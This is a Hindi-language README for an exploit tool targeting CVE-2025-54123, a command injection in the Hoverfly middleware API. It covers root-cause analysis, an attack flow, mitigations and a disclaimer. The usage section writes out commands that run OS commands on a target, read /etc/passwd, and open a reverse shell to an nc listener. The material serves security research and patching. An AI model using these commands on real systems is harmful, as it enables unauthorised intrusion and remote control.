CVE-2025-54123 के लिए एक्सप्लॉइट, जो Hoverfly के मिडलवेयर API में एक प्रमाणित OS कमांड इंजेक्शन है, जो अधिकृत सुरक्षा परीक्षण के लिए केवल-जाँच, एकल-कमांड, इंटरैक्टिव शेल और रिवर्स-शेल क्षमताएँ प्रदान करता है।
| गुण | मान |
|---|
| CVE पहचान | CVE-2025-54123 |
| CVSS स्कोर | 9.8 — गंभीर |
| CVSS वेक्टर | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 (OS कमांड इंजेक्शन), CWE-20 (अनुचित इनपुट सत्यापन) |
| उत्पाद | Hoverfly — ओपन-सोर्स API सिमुलेशन टूल |
| प्रभावित | 1.11.3 तक के सभी संस्करण |
| इसमें ठीक किया गया | 1.12.0 (पैच कमिट) |
| सलाह | GHSA-r4h8-hfp2-ggmf |
यहाँ केस स्टडी का गहन विवरण और व्हाइट बॉक्स तथा ब्लैक बॉक्स दृष्टिकोण से तकनीकी विश्लेषण दिया गया है: https://medium.com/@phantom_hat/cve-2025-54123-hoverfly-1-11-3-command-injection-rce-case-study-patch-diffing-aacc092f7f3a
Hoverfly एक RESTful प्रशासन API (डिफ़ॉल्ट पोर्ट 8888) उजागर करता है जो सिमुलेशन कॉन्फ़िगरेशन प्रबंधित करने के लिए है। मिडलवेयर प्रबंधन एंडपॉइंट /api/v2/hoverfly/middleware एक JSON बॉडी स्वीकार करता है जिसमें binary और script फ़ील्ड होते हैं जो एक बाहरी मिडलवेयर प्रक्रिया को परिभाषित करते हैं।
यह भेद्यता तीन कोड-स्तरीय खामियों के संयोजन से उत्पन्न होती है:
अपर्याप्त इनपुट सत्यापन — middleware.go:93-96: SetBinary() फ़ंक्शन binary पैरामीटर को बिना किसी सत्यापन या सैनिटाइज़ेशन के स्वीकार करता है, जिससे हमलावर को मनमाने एक्ज़ीक्यूटेबल (जैसे bash) निर्दिष्ट करने की अनुमति मिलती है।
असुरक्षित कमांड निष्पादन — local_middleware.go:14-19: मिडलवेयर को exec.Command() के माध्यम से हमलावर-नियंत्रित binary और script मानों को सीधे तर्कों के रूप में पास करके निष्पादित किया जाता है, जिससे OS कमांड इंजेक्शन सक्षम होता है।
परीक्षण के दौरान तत्काल निष्पादन — hoverfly_service.go:173: जब API के माध्यम से मिडलवेयर सेट किया जाता है, तो Hoverfly तुरंत इसे निष्पादित करके परीक्षण करता है, जिससे इंजेक्ट किया गया कमांड प्रॉक्सी-इंटरसेप्ट समय के बजाय कॉन्फ़िगरेशन समय पर ट्रिगर होता है।
हमलावर Hoverfly (≤ 1.11.3)
│ │
│─── POST /api/token-auth ──────────────>│ (1) प्रमाणित करें
│<── { "token": "eyJ..." } ─────────────│
│ │
│─── PUT /api/v2/hoverfly/middleware ───>│ (2) पेलोड इंजेक्ट करें
│ { "binary": "bash", │
│ "script": "<दुर्भावनापूर्ण cmd>" }│
│ │
│ ┌──────────────────────────────────┐│
│ │ exec.Command("bash", tmpScript) ││ (3) तत्काल निष्पादन
│ │ → हमलावर कमांड Hoverfly ││
│ │ प्रक्रिया उपयोगकर्ता के रूप में ││
│ │ चलता है ││
│ └──────────────────────────────────┘│
│ │
│<── त्रुटि प्रतिक्रिया में कमांड आउटपुट─│ (4) आउटपुट निकालें
│ │
admin / कॉन्फ़िगर करने योग्य पासवर्ड)git clone https://github.com/<your-username>/CVE-2025-54123.git
cd CVE-2025-54123
pip install -r requirements.txt
शोषण के बिना लक्ष्य की पहुँच और प्रमाणीकरण सत्यापित करें:
python3 exploit.py -u http://target:8888 -U admin -P <password> -C
लक्ष्य पर एक OS कमांड निष्पादित करें:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'id'
स्थायी शेल सत्र में प्रवेश करें:
python3 exploit.py -u http://target:8888 -U admin -P <password> -i
अपने लिसनर को रिवर्स शेल भेजें:
# टर्मिनल 1 — लिसनर प्रारंभ करें
nc -lvnp 4444
# टर्मिनल 2 — एक्सप्लॉइट लॉन्च करें
python3 exploit.py -u http://target:8888 -U admin -P <password> --revshell 10.0.0.1:4444
निरीक्षण के लिए Burp Suite के माध्यम से ट्रैफ़िक रूट करें:
python3 exploit.py -u http://target:8888 -U admin -P <password> -c 'cat /etc/passwd' --proxy -v
| फ़्लैग | विवरण | डिफ़ॉल्ट |
|---|---|---|
-u, --url | लक्ष्य Hoverfly URL | आवश्यक |
-U, --username | व्यवस्थापक उपयोगकर्ता नाम | आवश्यक |
-P, --password | व्यवस्थापक पासवर्ड | आवश्यक |
-c, --command | निष्पादित करने के लिए OS कमांड | — |
-C, --check | केवल-जाँच मोड (कोई शोषण नहीं) | false |
-i, --interactive | इंटरैक्टिव स्यूडो-शेल | false |
--revshell | रिवर्स शेल LHOST:LPORT | — |
--proxy | 127.0.0.1:8080 के माध्यम से रूट करें | false |
--timeout | अनुरोध टाइमआउट (सेकंड) | 15 |
-v, --verbose | वर्बोज़ आउटपुट सक्षम करें | false |
| कार्रवाई | विवरण |
|---|---|
| अपग्रेड करें | Hoverfly को v1.12.0 या उसके बाद के संस्करण में अपडेट करें, जहाँ सेट मिडलवेयर API डिफ़ॉल्ट रूप से अक्षम है |
| नेटवर्क विभाजन | Hoverfly प्रशासन API (पोर्ट 8888) तक पहुँच को केवल विश्वसनीय नेटवर्क तक सीमित करें |
| प्रमाणीकरण | Hoverfly प्रशासन API के लिए मजबूत, अद्वितीय पासवर्ड का उपयोग करें |
| निगरानी | /api/v2/hoverfly/middleware पर अप्रत्याशित PUT अनुरोधों की निगरानी करें |
कमिट 17e60a9 में फिक्स सेट मिडलवेयर API को डिफ़ॉल्ट रूप से अक्षम कर देता है। दस्तावेज़ीकरण में बाद के परिवर्तन (कमिट a9d4da7) उपयोगकर्ताओं को इस एंडपॉइंट को उजागर करने के सुरक्षा निहितार्थों से अवगत कराते हैं।
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (CFAA) और दुनिया भर में समान कानूनों के तहत अवैध है। लेखक इस सॉफ़्टवेयर के दुरुपयोग के लिए कोई दायित्व नहीं लेता है। किसी भी सिस्टम का परीक्षण करने से पहले हमेशा स्पष्ट लिखित अनुमति प्राप्त करें जो आपके स्वामित्व में नहीं है।
CVE-2025-54123/
├── Exploit/
│ ├── exploit.py # पॉलिश किया गया एक्सप्लॉइट
│ └── raw_exploit.py # मूल कच्चा PoC
├── Images/ # शोध स्क्रीनशॉट
├── Reference/ # अध्ययन के लिए संदर्भ एक्सप्लॉइट
├── requirements.txt # Python निर्भरताएँ
└── README.md # यह फ़ाइल
Phantom Hat — सुरक्षा शोधकर्ता
यह शोध शैक्षिक उद्देश्यों के लिए एक भेद्यता केस स्टडी के भाग के रूप में किया गया था।